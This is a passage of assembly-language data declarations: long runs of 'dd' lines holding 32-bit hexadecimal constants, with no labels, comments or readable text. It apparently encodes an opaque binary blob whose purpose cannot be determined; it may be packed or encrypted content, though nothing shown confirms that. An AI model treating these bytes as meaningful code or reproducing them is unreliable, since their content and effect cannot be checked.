0A0802D58h, 3C06E166h, 0E0E33B7Bh, 0D8680284h, 4F58FC09h dd 6FB222AEh, 2C530124h, 9B78EE98h, 0D5A183D7h, 5E088AFCh dd 9D15D46Eh, 6B22C090h, 807F59DDh, 277BBEA1h, 8BA9B31h dd 0F841F25Bh, 118CB43Bh, 5A50CF22h, 29A00763h, 0E4181424h dd 0F81DC8B6h, 0D07B06EFh, 0F6490841h, 0B4C91208h, 98D6640Ch dd 1860615Bh, 9898727Bh, 0BB30CC70h, 0FB10C7C0h, 8FB01C63h dd 0DAA86F50h, 1804EA48h, 4438BD32h, 0BC66812Ah, 2F381808h dd 0C42E1790h, 5552608h, 8C0C0621h, 0A9CA0934h, 988D5B0h dd 24005583h, 268BC761h, 3C6BE836h, 4B112E66h, 3032105Ah dd 0C6A62D01h, 1CC11ABh, 0BE0A440h, 1FD07C73h, 7CD772Bh dd 0CECBFD6Bh, 0C70EA24Eh, 0EB10AFCCh, 0C03903Ch, 834D9ABh dd 6BF38379h, 118B600Ch, 0E1CE0802h, 18079503h, 0BD22B02Bh dd 0A02DAE43h, 0F053DA0Bh, 79963ECBh, 4FA54B0Ch, 777C7810h dd 0C12CAB0Fh, 528787D8h, 15FEBC3h, 88A62B28h, 0BEFE0BD9h dd 0DAF70F08h, 1E2387D8h, 50984BC0h, 0E98B00BDh, 0C5609BE8h dd 0EB18DA7Ch, 0EAA875CAh, 0A808CC66h, 0C31AB10h, 9B7EA837h dd 60388041h, 104F1898h, 566304CBh, 1883A8B0h, 0A0118480h dd 28C6954Ch, 311809E5h, 77585DD1h, 0BDF0A606h, 5EBBC03h dd 78ABA3E5h, 4F0B18FAh, 71E18E3h, 3DA1A8C7h, 4356B47h dd 5325DC06h, 5A53148h, 0F131A408h, 122D1EBh, 0BF00C95h dd 80336269h, 0EC837EE7h, 407E0AC9h, 5B83A400h, 0EDBFD2BCh dd 0C400050h, 3FECCDD4h, 28664BF3h, 90609628h, 0CE8DD5Ah dd 0DE08C845h, 4B180090h, 0C4687493h, 3918C598h, 0DB8804D1h dd 0AC04819Eh, 429841D6h, 0BC1090B8h, 0A871AB18h, 0CA63156Bh dd 0E7A59A10h, 0E7207B8Fh, 37B06496h, 1450A459h, 5B1405C2h dd 80979C0Ch, 89A2708Bh, 14E803CBh, 0B4EA6B10h, 3C0A4874h dd 328E8B0Ch, 2672250h, 2A08CB08h, 0DDEB1248h, 0AB200957h dd 0C913C0Fh, 87EE80Bh, 32C908Ah, 0D8E4EE6Bh, 1812C28Bh dd 3003A3EBh, 0A68C9DCBh, 0F9BF4E8h, 0DA7F76A0h, 0A04AFB06h dd 8616C32h, 0B4850F03h, 0B1AC0C07h, 99334B10h, 0CF1504Ch dd 110A8B08h, 0E48D310h, 0F8043124h, 3981AECBh, 6BBCE0BAh dd 0E1142175h, 0C0FC52DBh, 642EECB8h, 0A2409378h, 792B2013h dd 8BB8B061h, 1C4A4189h, 0DCD20C5Bh, 5E303339h, 0ABC1C07Fh dd 738B18BCh, 0DFA78DEh, 600590C2h, 9820A084h, 239ECE8h dd 533FEB0Bh, 34947D7Bh, 61CD1804h, 730299FEh, 0D8847BF3h dd 4B40C101h, 3D099263h, 182B4803h, 90482427h, 96193A48h dd 204FD074h, 76288B24h, 93F7946Fh, 5C443A21h, 30049EE4h dd 0B9C906CFh, 0A3493110h, 8C677228h, 10D1EAC8h, 20809A23h dd 7561CB2Ah, 0A59C8B20h, 0CF545088h, 18C2B808h, 0FCB808Ah dd 4E27E45h, 1284D151h, 30B20131h, 0BA229002h, 35F022Eh dd 0F9486E04h, 7EAF88h, 0CBBCDB53h, 0F9815023h, 1DAB1889h dd 0D16380A4h, 182A77Ch, 24207838h, 0CB30C483h, 178D1C0h dd 6954208Fh, 8D181A63h, 0ED603355h, 83CFC41h, 0EB3063ABh dd 351910C1h, 55961053h, 8CC02426h, 32101C8Bh, 10A4E94Ch dd 897D7E52h, 78098AF7h, 7D0CA49Fh, 406B7011h, 6848DA09h dd 0B7831480h, 331A19A0h, 90347010h, 0F85F5004h, 1008DE64h dd 20B1274h, 0CC6B7C00h, 3B75D7Dh, 775CDF5Ah, 0F7C04E8Dh dd 260EC386h, 80F629D7h, 39B6B9B7h, 0ABC1D17h, 0DC830C27h dd 0B17C4310h, 0CC379713h, 0F33AF8ACh, 0C61AE677h, 81C0C28h dd 0FF4343Eh, 83060197h, 0E30D1137h, 18048BD7h, 40FBA820h dd 0E1E9D101h, 0C60F045h, 82FC430h, 0E27CED4Fh, 56CF00ABh dd 52A5B537h, 8C00AD09h dd 0F6DDE474h, 0A6BC6DD2h, 0E9331C10h, 0F28C80EBh, 41ED0DD2h dd 7BC6D419h, 3DFD4608h, 1C5886E1h, 0B4440C83h, 0AD58D736h dd 0D45F3800h, 0A210E9E6h, 2B2F3A86h, 4255A60Dh, 7C4C1848h dd 21C62908h, 254D0CC3h, 0F9038640h, 3026A205h, 41A6C066h dd 0D758C66Bh, 0A85308ECh, 91F30024h, 0F7A18908h, 0B2ED10D2h dd 4D5F1842h, 5756F178h, 22031CA2h, 0D9FBFCBBh, 0CD8D800Ch dd 60547046h, 101C28CEh, 3D3D0D6Dh, 2EE08048h, 4FF0ED43h dd 7EE0E39h, 878683F1h, 671F0802h, 0A707FC30h, 27C0B09Ah dd 1DE959C9h, 7426DC2h, 8E5E8B22h, 183855CFh, 10C45417h dd 0C7075BF6h, 8602C140h, 0A189844h, 74B34750h, 6016FE9Fh dd 5F696822h, 0C96FE7EFh, 990A0708h, 784E03CFh, 9F66E37Ch dd 84AA743h, 4D8EC7A8h, 8389F0Ch, 713A1423h, 990E70F7h dd 1F1A97Ah, 88E07CD0h, 989ED4A7h, 58CC1902h, 27088681h dd 628892FAh, 180708ECh, 75132898h, 80B1F23Bh, 0A730ED42h dd 61877C1Bh, 0DB27903Fh, 0A91848FEh, 51765D7Dh, 0B52ED183h dd 61546304h, 598E9183h, 8CE87051h, 8717F90h, 0F0AE607Dh dd 2257BEB1h, 0F20F34ACh, 1047F5C8h, 30855019h, 0EF58FC87h dd 3817A729h, 2EC8EA9Eh, 0D9B08AD8h, 0AA6205E8h, 82A43880h dd 0A3ED5708h, 74900345h, 6CD8E968h, 30F4753Eh, 93F75500h dd 69F3BB71h, 83AD00C2h, 73E89B01h, 0F0004A94h, 6357666Fh dd 3B21C302h, 0D71D748Eh, 0AC430F05h, 71A3067Eh, 123E10E4h dd 6D830A76h, 7C402C91h, 0F129ADE9h, 2B473D0h, 0C66FEC3Ah dd 0E6C01917h, 740E7938h, 842FA323h, 76C092C3h, 0CC654B83h dd 0E3801608h, 81EFD31h, 0D1F3F9A6h, 108CD1DBh, 4640383Dh dd 61F13074h, 931098ABh, 0C3E56308h, 1711A320h, 5ECF6018h dd 0CDA2F1A8h, 0F0089520h, 18CC3959h, 0C1305189h, 0B8EA0390h dd 8C7DE102h, 87EA320h, 0DA573EC3h, 18160311h, 4890D5C4h dd 0B4B8C6CFh, 582008CEh, 0D4E620D3h, 0A328E961h, 9C4119DAh dd 888C3337h, 28703468h, 8C0A78DEh, 0C50CBCD2h, 0DFD59062h dd 28471908h, 0C181C2E3h, 88AB21A3h, 1BAFF480h, 0C2C12829h dd 8D38881Dh, 2E540C1Ch, 3266B9C0h, 3109B640h, 0D3F835FAh dd 60D88C29h, 0B0F32807h, 0D9E31965h, 99DE482Dh, 0CE215109h dd 0E8C30893h, 0BF830971h, 822C03DFh, 3050184Bh, 6B53031h dd 47090C6h, 10556388h, 81F1443h, 20B124E3h, 108C2AA2h dd 0A4382B7Ch, 0AD079CA8h, 9C65D8CAh, 43084098h, 88CA665Ah dd 6318407Fh, 0BB0801E7h, 0E160CC3Eh, 8C412611h, 9702784Ah dd 9EE52D46h, 426E5401h, 706B7892h, 9F37D260h, 28865530h dd 0CA784A74h, 60146CF8h, 0B2F9B79Bh, 0A74CC48h, 148E7B14h dd 18D7B950h, 509D9E09h, 28C26434h, 942C0E43h, 30237218h dd 0D4A916ADh, 94A17FE9h, 0A3B0865Dh, 90401AABh, 1840CD8Eh dd 4B14D0F8h, 7786B300h, 5DC6DD1Eh, 61E6F0A7h, 0B4460869h dd 810433F3h, 87DC0B35h, 49F4A185h, 60E80657h, 0F932707Bh dd 839810A2h, 14E223D8h, 0B850FD71h, 3853C413h, 0B095804h dd 0A38FF933h, 1256BC30h, 497A8638h, 0EC05BBC8h, 0CF01FCCh dd 60E8238Fh, 0A703F4A0h, 88E83C65h, 51A1F845h, 0F5D8EC39h dd 707E2611h, 0C00B9838h, 48A61003h, 0C10177Ah, 540C8421h dd 887045A7h, 0F780DD63h, 0AF0183Fh, 2D27E806h, 3F871D8h dd 209260E2h, 0C6B349CFh, 1307DCA5h, 0F1BCA477h, 67753374h dd 0C9186A58h, 0CD700514h, 5708CC69h, 77486AE9h, 78D7E044h dd 9B192047h, 94A1412h, 0EA0FFC06h, 1FD2958h, 0A324401Ch dd 9D407E48h, 83024034h, 0C990C66Fh, 50B822E4h, 90A89C77h dd 9F82121Bh, 78404A9Ah, 0CC836330h, 0A8E791h, 80B16BF4h dd 0BCA7939Ah, 0D6FB2D01h, 94009EABh, 0C8CCF652h, 23A33086h dd 6E0359AEh, 858CBEAh, 0D572B461h, 74A44B14h, 8C2CE020h dd 0A735164Ch, 0F06A11E1h, 0D18D62Ch, 4B405B43h, 0F1C30550h dd 9446864Ch, 20302E74h, 0CCA56803h, 388E0883h, 149916F2h dd 9D044604h, 4762C833h, 61292338h, 38586364h, 332C05E6h dd 1AEC55B8h, 643841CCh, 5C0ACF38h, 0C0EFE78Bh, 0C005E412h dd 0DC474403h, 308A5457h, 0A35C6AE0h, 38AA610Ch, 4E3956F4h dd 7DE00FC8h, 9489184Ch, 8114A5CEh, 0E976CC3Bh, 0B4508FA9h dd 0E0A494FEh, 6E9E9654h, 0DE629E7h, 8331A092h, 7420831h dd 337E7A01h, 0C3628E78h, 10F8164Fh, 9017440h, 1C0689A3h dd 60B00610h, 30951A8Ah, 11D1414h, 3451A760h, 62174349h dd 0EA02D499h, 0A0189405h, 24FA161Fh, 707CEFA0h, 0E08251Ch dd 17ECB20Ah, 1200404Bh, 7B630D26h, 0D23C0092h, 0F8337424h dd 741C20CCh, 0CCBF5810h, 3228312h, 1B65C3FCh, 98CF1020h dd 903E53E8h, 0F3CAC80h, 9983945Ch, 609820AFh, 0B84308ECh dd 69102965h, 2C6374C0h, 0E259817Ch, 4165B802h, 68BE2B98h dd 5055810h, 0A6DD17A9h, 0F87FB028h, 0E9096752h, 4360BCB4h dd 9CC81368h, 108E6358h, 17E766ADh, 4C449D54h, 848EEA0Ch dd 9212603Eh, 74544145h, 3202EDBEh, 8E7C164h, 0F4483746h dd 50AC6477h, 5E88F40h, 6E321686h, 4934944Fh, 201C19h dd 0D778331Fh, 0BAF84BE3h, 0F598AB00h, 74265903h, 1C4C00F3h dd 0D06B2978h, 8D0609ECh, 0AC9AF84Ah, 80234228h, 18D64A5Ch dd 0FA50C0D7h, 0C3F56D6Eh, 70130185h, 8CD6E4C9h, 5096DA28h dd 25547A3h, 0BB81CB90h, 0A53A03E2h, 79182858h, 550814A4h dd 8018BA0Fh, 0F523891Ah, 0E1469FE3h, 0EE5A0B03h, 0C8088C68h dd 7123897Ah, 0EBA2F3A2h, 1B5A8CA3h, 0AE3C28D5h, 6454860Ch dd 0EBA507Fh, 83F59AA6h, 0A49E801Dh, 2438EC52h, 0C408A860h dd 20F6EBF2h, 832941A3h, 0A5823C6Eh, 0A1C29F57h, 94209A8Ch dd 0C102A04Eh, 9E190D2Eh, 9240FA01h, 1302784Ah, 9DDB6D76h dd 923DB4A2h, 150CF09Ch, 29550D8Bh, 2A3B153Ah, 0E0C150F5h dd 84AEE445h, 2AE81A79h, 0D9E31438h, 7A00F6EDh, 31F525BBh dd 0C3305163h, 2618AE5h, 2B70FC93h, 1D0B14FBh, 5A3CAC80h dd 0E438E78Fh, 4CF20517h, 59183056h, 920C6DAh, 2EBA398Bh dd 0EC327061h, 5305CF6h, 992030ECh, 0CC9A1488h, 0D8E0B4C1h dd 7910C084h, 9B144A85h, 46E0A0BCh, 0C1493751h, 69DA1D04h dd 5EC08CA9h, 616B265Bh, 0FD3A2894h, 0D3A8BDB5h, 0A8190228h dd 18A6996h, 23B5B71Ah, 0A2A98040h, 0C4FFA315h, 819C8711h dd 8F9DDC68h, 0E7AC1308h, 8F10D722h, 60CA8124h, 89D521F0h dd 371D724Dh, 768CDA50h, 60DB0858h, 2CFC2019h, 0A000A9F3h dd 0D0AB1F0Eh, 74D7F4BCh, 4540C20h, 0E9100718h, 9C952E18h dd 86C5CC60h, 913A663Fh, 0D84583Eh, 88B50024h, 72F5A4Dh dd 0A4706ECAh, 0BC8300DFh, 0C0C6EF2Eh, 1CD1848Ch, 8797F688h dd 30F977D1h, 0B2406A01h, 8B8F031Ah, 0E2248051h, 3C21A256h dd 1A809181h, 6146B207h, 0A5076F18h, 978DF7C1h, 57932AC0h dd 6186608Ch, 5F36453Ch, 8275141Bh, 0A33AC3DAh, 0D2210083h dd 0AE9D49ABh, 0A803EDF6h, 41CAA14Dh, 1EF39B35h, 9E360EF1h dd 0E067C0EEh, 0D2172C9Bh, 8A9C2A0Bh, 0C1F0813Eh, 9880BF33h dd 0E7C5C915h, 1403518Eh, 87C6A791h, 0B463C053h, 96AA0156h dd 0E5BB2B2Fh, 6E6BD032h, 0CE7D7100h, 3A1E1D81h, 3E87010Ah dd 0B11A5DA9h, 0A50BFC7Ch, 9440F41Dh, 5FDC2280h, 16F0D28h dd 894D412Bh, 0F84B4204h dd 0F23E1FDFh, 0EF60091h, 14961DDEh, 1AB10088h, 0B3359FF8h dd 58703D76h, 9B6CA00h, 0FACB8CE3h, 0D618178Dh, 9BD40007h dd 0C21C7F55h, 0A282C800h, 0BE75216Ch, 0C90E00FAh, 61EF9977h dd 3007CF03h, 0C8DE0F2Ah, 0DF8480DEh, 0E49B46DDh, 45AB0083h dd 36416AB5h, 0A801D34Fh, 0EDAA76E2h, 0A19C0F68h, 94BB0725h dd 4AA0838Ch, 0CC4FC4F8h, 472CBD1Dh, 0C6F51C80h, 0FDB4A95Dh dd 0EECF1980h, 6AD53037h, 7BBC0400h, 73E13E8Eh, 5DF70CDDh dd 0EFD81575h, 0E8926900h, 5ABDD093h, 0ABEC12F8h, 4A1E6Ch dd 141A536Eh, 0DD00425Bh, 51AEF4C8h, 3CE74D08h, 0A060CB68h dd 0CD5367ABh, 7500C078h, 0F8B87B5h, 37D51Bh, 2B13570h dd 6D5A6C3Ch, 0C4770E1Dh, 0F926F128h, 7E0308BAh, 83DC1B98h dd 21030BDh, 4AF81408h, 8A725CE0h, 0BA36C800h, 0EF62A76Dh dd 72B83BA9h, 14A1A307h, 12EAC00Bh, 0C569BB8Ah, 299F0C29h dd 0E00A45DDh, 5D80B699h, 82D18BD2h, 70C801F5h, 1098C311h dd 80328E94h, 9808863h, 67540028h, 0D700E27h, 901EB5D6h dd 18CF4213h, 84FC4098h, 7775FDB9h, 55E200A3h, 0DA1F2358h dd 14F8F3E8h, 3FC7C000h, 7B6DB8C1h, 33A613A8h, 7CEC006Bh dd 23C23D21h, 24070307h, 0FA903A26h, 7E6D035h, 4C482BDEh dd 0A1B9239Ch, 0F3815490h, 25E23D00h, 7B294D0Ch, 5F720079h dd 0CA03E6C8h, 0C3E86654h, 0F015AF1Dh, 4A58D500h, 11605D8h dd 29D2A88Ch, 0F8E5AD94h, 4028691Bh, 3974C0B0h, 76564D00h dd 546F8C14h, 0BB100358h, 6DDE5A5Eh, 680F7CA0h, 1FCD8200h dd 0DBA14993h, 27870055h, 0CE911359h, 8F0F69A7h, 0C07F8D62h dd 0A405A91Eh, 9256075Eh, 0D0959463h, 0BCA3510Ah, 780153F6h dd 2B2993Ah, 0F06E6259h, 4E00C2F2h, 4617CD8Ah, 3840E7h dd 0A993211Eh, 5F096E53h, 0EB3FF700h, 2A5084A1h, 0F5751E3Ch dd 4168C0A6h, 4BFE3070h, 0CD00DE90h, 0CA0382Bh, 0CEC9C8h dd 2428BCB1h, 0C28E56EBh, 886C9700h, 3202B562h, 0F6677196h dd 521A00F3h, 93A33455h, 0AD009510h, 4E0EA119h, 6DA085h dd 6289FDCEh, 81DB8C66h, 8F5B3204h, 8C040D1h, 0E22ABDh dd 737469B5h, 417A132Bh, 0DA242003h, 0DB8554B0h, 40F8C28Fh dd 7C0F7Ch, 38A7DB77h, 0D232E0E7h, 36B74307h, 18232228h dd 2C398029h, 5AC41450h, 0F000D0E9h, 3724CA12h, 0BA00A413h dd 0B5CFEB11h, 70D72B96h, 0BEB4481Ch, 74C25C00h, 0A74B6E5Fh dd 34817105h, 0DBC05503h, 7E4A1E8Ah, 6DF28Bh, 0EC8429F3h dd 0C65B5DF5h, 69000E71h, 0ADCCB127h, 77715h, 0D32F73F1h dd 0DFCF7923h, 27FEBF00h, 0CE81C1E3h, 8BB4865h, 4096A200h dd 0CC1B7CEFh, 35916800h, 70D6E189h, 2AB7149Dh, 24269834h dd 0F24F004Fh, 41578192h, 22E63100h, 0CC0BF651h, 0BF0C3852h dd 0EE3716h, 114AC205h, 0A6006D58h, 0DCB5D5E6h, 5989F0h dd 5D6AC765h, 6F491D39h, 0E356D009h, 0BD2C0197h, 48E5DF77h dd 5775E8FFh, 62613CCAh, 1BDBD780h, 6653FAA0h, 0D083701h dd 0C2149CB8h, 0A12BF0h, 0A73847D0h, 0BBDEB499h, 0C6E6E400h dd 5B63CD3h, 0DB50005Eh, 0AC939715h, 0FB0FE54Dh, 9E1B53h dd 897E2826h, 7A8CA07Fh, 246000D1h, 998C570h, 583EAFB7h dd 11FCAEEFh, 50F2EB03h, 6990801Eh, 0DA2A005Ch, 0FA362FCCh dd 5F00E0FEh, 570812E9h, 2F6A340h, 6BC4798h, 0E881AA39h dd 40F0E2C1h, 0D5C3EDCh, 48710084h, 0A1872B34h, 3B989804h dd 2831CA24h, 0E5AF3000h, 0E4DDACh, 999AD41Eh, 30EB396h dd 37762D00h, 0D41A85Dh, 0F016007Ch, 0A1ED9FA5h, 3A0EA64Fh dd 61C09E67h, 0BDCBF896h, 0FEEA44F4h, 33845C01h, 3ED55800h dd 7E242ACDh, 0F63A4B00h, 0A88932DDh, 0BAEB056Fh, 1F7B4036h dd 0C227C0E4h, 17182B8Eh, 0DC5B4902h, 839847D3h, 82D89DE0h dd 0E69A6132h, 5FEC48F1h, 0D2B10042h, 644F2CFBh, 9701AAE7h dd 952E6E8h, 56F0ADBCh, 40C90065h, 5E957798h, 20518B1h dd 3BA978DCh, 0CFBEE001h, 3EE42615h, 0EC9D0F33h, 0C4609CC0h dd 122D320Dh, 34FDAF0Eh, 26FF6016h, 2502018h, 5B0EFB55h dd 0A4802B74h, 35BDEBF3h, 610E31F6h, 0E029DCE5h, 9DE3D069h dd 140A026Fh, 0F82A566Bh, 478B6469h, 8D2B01EAh, 0C2DED820h dd 0E89DEB00h, 0A75FB535h, 12AD0064h, 0A309CD13h, 320060B2h dd 6B8D7A05h, 98DC7750h, 0A92E00AFh, 80FD0AF0h, 2F073D35h dd 0E06A5BEBh, 4603F4E0h, 54C6176Eh, 0E000AB42h, 6910BED2h dd 3D7C001Fh, 7F01EAEh, 770052C1h, 440959D6h, 739ED8h dd 36CF6F5Fh, 615B75F0h, 7872CA00h, 0ED3264FDh, 0DB7681h dd 47578231h, 20C99871h, 87EE4250h, 70CA307h, 1B606B66h dd 451E60h, 7612F8BCh, 2AFADF2h, 71C8CC0Fh, 8300DC27h dd 4B359317h, 58143D66h, 18845002h, 0E7402443h, 0E907B96Ch dd 75DB70Ch, 688AEEC0h, 0DF766Ah, 66C5AC0Dh, 8CE8E94Bh dd 0CD458200h, 0C897DBFCh, 1E4D0EE1h, 0F780322Ch, 0F27BE40Dh dd 90FAEC00h, 8CC865BBh, 0D69D2EA1h, 5C1B0018h, 2397E46Fh dd 0CF939900h, 8EA307ABh, 1EFF02EDh, 0A109BE78h, 58FD017Dh dd 0D4607250h, 68B0011h, 12B47CAFh, 0BA00517Eh, 0E1F2D1EDh dd 16E3741h, 98C1AE5h, 0E076D072h, 0C71FA726h, 1000EA1Dh dd 0BD252A05h, 74E900F8h, 0F7DB7C47h, 0C100CBA4h, 2B099C40h dd 0B0A076h, 18F673D8h, 8C53EB92h, 55F2C500h, 0B84B1D81h dd 2B150059h, 0BE489AC8h, 6D00CE71h, 0FC5726DFh, 77B60723h dd 37753802h, 39510E83h, 9E04E6Eh, 1101A801h, 29F9F377h dd 0A8476ACCh, 0D30ACE00h, 0BAC60767h, 0B031B550h, 0C3CE4F4h dd 0D1CA440Fh, 0FC6D409Fh, 3FD5AF95h, 0D9287BA8h, 637D0E9Ch dd 0E7E086EFh, 0F815D1EEh, 0E4844500h, 5405FEF7h, 30763F5Ch dd 0E25B4B80h, 5D17C86Bh, 9D8EBA01h, 22513391h, 585EC283h dd 5F80F2E8h, 5D009207h, 0CF49ECE4h, 13281127h, 1D67DB9Fh dd 7F46C011h, 0F5131802h, 56F29101h, 1AE9E855h, 0FDA7802Bh dd 89004715h, 0B898D2B3h, 72603132h, 8D6A1D8Eh, 36017E5Bh dd 751B56B2h, 78108094h, 3C1DD4D1h, 77A7E5Ah, 0C0B98D59h dd 0A8C7B37Dh, 0E633700Eh, 0A263E179h, 0A0C7E58Fh, 0F0931565h dd 0A19E008Ch, 683373B7h, 3B005498h, 0B83504C2h, 901CE07Bh dd 0B21B0004h, 0C7702CAAh, 0E10005D9h, 9E3EBB75h, 0E33BFFh dd 54570A7Bh, 723D136Ch, 86181500h, 3387BF4Bh, 6823288Eh dd 8AFA00D4h, 576E8545h, 4700A220h, 0F93AD624h, 0D77F35h dd 373D8C82h, 0BDC541FCh, 0BE560600h, 9903AD29h, 0BFB701C2h dd 0B8FFEBD5h, 4417E4A2h, 85327100h, 956D11EEh, 1B790037h dd 4FD7DA55h, 4600763Ch, 7D849014h, 0E83F487Ah, 423A070Ah dd 0C060D7C3h, 0FDFC8782h, 0F671BD00h, 775C662h, 88040022h dd 0ED1383E9h, 0FC006609h, 0B31BA8B2h, 0E0FB6Ah, 9FA616BBh dd 0B7B92229h, 9CCEAB00h, 0BFC7D026h, 4FF882h, 0F2B1E07Ah dd 8B95B0FAh, 93231E00h, 0DB3077A0h, 0A6462459h, 80211C3Bh dd 4A90A9D5h, 0B57A8795h, 91402D60h, 0FE5F3Ch, 2605FBD0h dd 0FA4D38F2h, 0A45EAD1Ch, 8053B9C0h, 0A5F628h, 177B6210h dd 7DEC3DBBh, 105130Fh, 79DAC0B2h, 48938F0h, 4CD68FBEh dd 352507AEh, 2E474297h, 0DE260C0h, 69C400D5h, 27AFC1EFh dd 49001F79h, 7C17C0BFh, 389ECBEEh, 0FB014B95h, 0BE59A630h dd 33F6CC35h, 13163D0Fh dd 80C26EEBh, 4AF7041Bh, 7C64E6D5h, 91976041h, 0D90FBCB5h dd 0C9ED3530h, 76A6309h, 554816D7h, 17BBE0A5h, 0A6013578h dd 182F8191h, 0F03050ECh, 0CDA9003Ch, 4787B6FDh, 7400071Eh dd 0C5C86168h, 0FC65504Ch, 909F892h, 8483BD98h, 5F6D0F00h dd 570359FFh, 0D1026E6Ch, 0FE1CE819h, 61200076h, 0B4A5CCD2h dd 4A00D521h, 39E6797Ah, 627E5D42h, 0F403C853h, 29F06EC0h dd 1E54B00h, 0C41C2327h, 427D009Bh, 0EA7A67F7h, 0F2E00D25h dd 0C502107h, 2047993Dh, 7A6351C0h, 1F4C0E80h, 7620D845h dd 66B18FBDh, 50FFB91Ch, 0A72BBE00h, 1473FD05h, 8C147A81h dd 98854F01h, 0C8E8C3B1h, 0BA00C2BBh, 8D1FC4EAh, 3F18E1h dd 5A95829Eh, 22F4533h, 5ED3F400h, 0BBD7D28Fh, 0E0463E1Bh dd 2BD91080h, 4F0F05F0h, 81AF4C3Dh, 95AC2398h, 4E200162h dd 10E013h, 6DEBA955h, 51299A4Eh, 0E818D0E4h, 0AD7006C4h dd 46560095h, 0F2672339h, 1403529Eh, 7AA750FDh, 0DAAB98C6h dd 0C812004Ch, 631640D1h, 1800572Eh, 428FA16Dh, 7F15B54h dd 0EC8A6573h, 5EA951BEh, 678930AAh, 1323E11Ch, 7A339940h dd 0D3F8C4h, 24821F54h, 629FB288h, 0E2797603h, 0D8174A28h dd 5C2C60h, 511113B5h, 0A321D212h, 749ABD00h, 373E31F8h dd 0FB0700CCh, 0E71CA257h, 0D00A365h, 0E6D7A05Eh, 1F180553h dd 0E5D652h, 0CA4647F8h, 1900E93Eh, 6725D21Dh, 1E0539h dd 0A4A02D3Bh, 211CC911h, 808EDD38h, 8C668D6Eh, 0D4CB4Eh dd 35AC5134h, 61961865h, 1CA6FC07h, 0A7AF0B30h, 0C150D56Bh dd 6AB8B4h, 4FD117F9h, 0E1E8C46Ch, 47CFC900h, 0F2338806h dd 26E707F0h, 4765BDA1h, 0CC404FE8h, 98AD0146h, 7200BFE2h dd 2BA39762h, 0FA8FDFh, 53A8FEB1h, 5FD6DB67h, 20573E30h dd 0A22A09h, 227AC0AEh, 95FA3B3Ah, 0DA006DFEh, 1CA1DD11h dd 7F321037h, 0F0EC00A3h, 0B143C5BFh, 71014A99h, 0D975056Ch dd 508093FDh, 47B3D16Fh, 4578F49Ah, 0CB70AA00h, 15FC9421h dd 0CDD7A1D7h, 35DC720h, 1B747977h, 68001D3Dh, 548334FCh dd 141AF20h, 0EF2F95B4h, 0C436FB31h, 5C00F290h, 5F137CA9h dd 0E042A5h, 8BB3C991h, 1CEED93Bh, 65839A00h, 2693AFDDh dd 910200F3h, 0A2D28B4Eh, 490F0FA0h, 28CE075h, 0C0B9B886h dd 1B3F2EFh, 69BBBACEh, 80D625DEh, 179B8B20h, 969F1Ch dd 1A7FC17Ah, 0F1EDF9B6h, 30D4B300h, 16293EECh, 0B0AE7A4Dh dd 5967C68h, 0A99FC588h, 0B0B02038h, 0DB0F8DF9h, 8095E89Ch dd 153F21DDh, 0CEF107CAh, 226ED4EBh, 84C0C9E5h, 96001625h dd 6C0F50A3h, 8166BCh, 0CC827490h, 0EBCD3FB0h, 0F7F96900h dd 641F0CBBh, 418A00E7h, 973E1CDBh, 37009CC3h, 881BAB8Ch dd 3E3D816h, 1976465Eh, 0F2B043DEh, 8700A403h, 703F925Ah dd 0CA649h, 10CD331Eh, 8576C214h, 9A654500h, 39849E9Bh dd 0F16E490h, 620B8253h, 1E0B685h, 7C2112A1h, 4C59F0A9h dd 0CCD9EE00h, 1F859FDAh, 0E035006Ah, 512890CEh, 53B0AE14h dd 0D361A07h, 876025ABh, 3CF331C1h, 0A4809D75h, 13CCFC68h dd 4100ED82h, 318ADF73h, 2CC315h, 6A112805h, 0D307AECDh dd 5100F690h, 1CBFCBB9h, 1DAF33D6h, 42287CB3h, 6DCAC9BEh dd 84A284E0h, 8138A105h, 0EE810A9Ch, 0C48398A9h, 0E0671025h dd 0AACE57E0h, 2DEA3B04h, 3480CA42h, 301333C6h, 2C36A163h dd 0FF0A5BF7h, 0EC713DFEh, 0C16FC28h, 28000444h, 10E5454Eh dd 0A489A078h, 0D0510E64h, 5A018D7Fh, 0E4D948C3h, 1490F3F4h dd 0B1A24400h, 0B50C827Ch, 88740002h, 0D44BC041h, 1D003E70h dd 3C22E9CFh, 8DA7B7h, 1BA0A6CBh, 0DDFFE21Eh, 7B1DD907h dd 88F09EB9h, 9FCED19h, 650E1CDAh, 707C4B07h, 0D76CF964h dd 99F18A00h, 0B3E7FE1Fh, 0AB5E00BBh, 8740392Dh, 653CB6ECh dd 6A1B007Dh, 4E3D8DD9h, 427F00F4h, 2E6EE164h, 44589D93h dd 9A0D0114h, 8CD40A36h, 294FF4h, 9C056472h, 634321F7h dd 117BFC00h, 4575C8C6h, 0BD131C51h, 5F9E83C9h, 90DF5E16h dd 1B651267h, 4255E900h, 9363F9F5h, 0C57C004Eh, 0D06D0660h dd 19716E74h, 0DB020403h, 0CA3E0EFAh, 8E6D603Bh, 9B5E02C7h dd 0ACE095Fh, 87048860h, 1828FB00h, 0CDB77E2Fh, 60AC0062h dd 3868E53Ah, 0A20032DEh, 0F8159C7Ah, 3FAB202h, 1E9D5118h dd 32E07F45h, 8D00ADA9h, 0DCFB1382h, 0AC2F1Ch, 2956C3B3h dd 0FE3C5BA6h, 15006176h, 0B54832E4h, 75931A2h, 0A3AF5C68h dd 24F321CBh, 4475C4B0h, 0AB83CD01h, 1449983Dh, 0E0EC70h dd 9381EA4h, 3746C76Fh, 486EB800h, 19E598BBh, 44E0345h dd 9D17A1E3h, 6FC243F7h, 3BFC09B0h, 80FB553Fh, 98EAD535h dd 2C8145h, 1BEF48ADh, 1FBFD2B9h, 6A6E5304h, 58C06D5Eh dd 3F5C31BDh, 0EC80C987h, 0AD9D773Dh, 5700D8BAh, 81B6499Ah dd 0BF5F4Fh, 0D194432Ah, 618819B9h, 0E05AF809h, 4F740059h dd 12FFEB10h, 8323AEh, 0BB47C7ADh, 72009965h, 28ECF570h dd 1F64D70Eh, 89B1B7A3h, 0CC809A37h, 615FEECEh, 67D18A00h dd 18FCC2C5h, 41A61CF0h, 53790FD7h, 3768D6A0h, 5B002C92h dd 74EFCC57h, 0DD4409h, 344104E4h, 0A672A7F8h, 0B8AEE001h dd 0A3C25365h, 2459D020h, 0ED83541h, 0E62043AFh, 0C14D9C67h dd 2FF07A02h, 0DDB72774h, 8203B0E0h, 0A95AC700h, 0DB936F61h dd 0BB0B0710h, 0C0BA25CFh, 0F3D7E5F6h, 30796202h, 6049C2BCh dd 24B30C5Dh, 7AD27FCh, 5703578Ah, 0C6AE1034h, 4100728Eh dd 0FFC7F450h, 32CC9174h, 701EE120h, 0F4D21FC1h, 28004BAFh 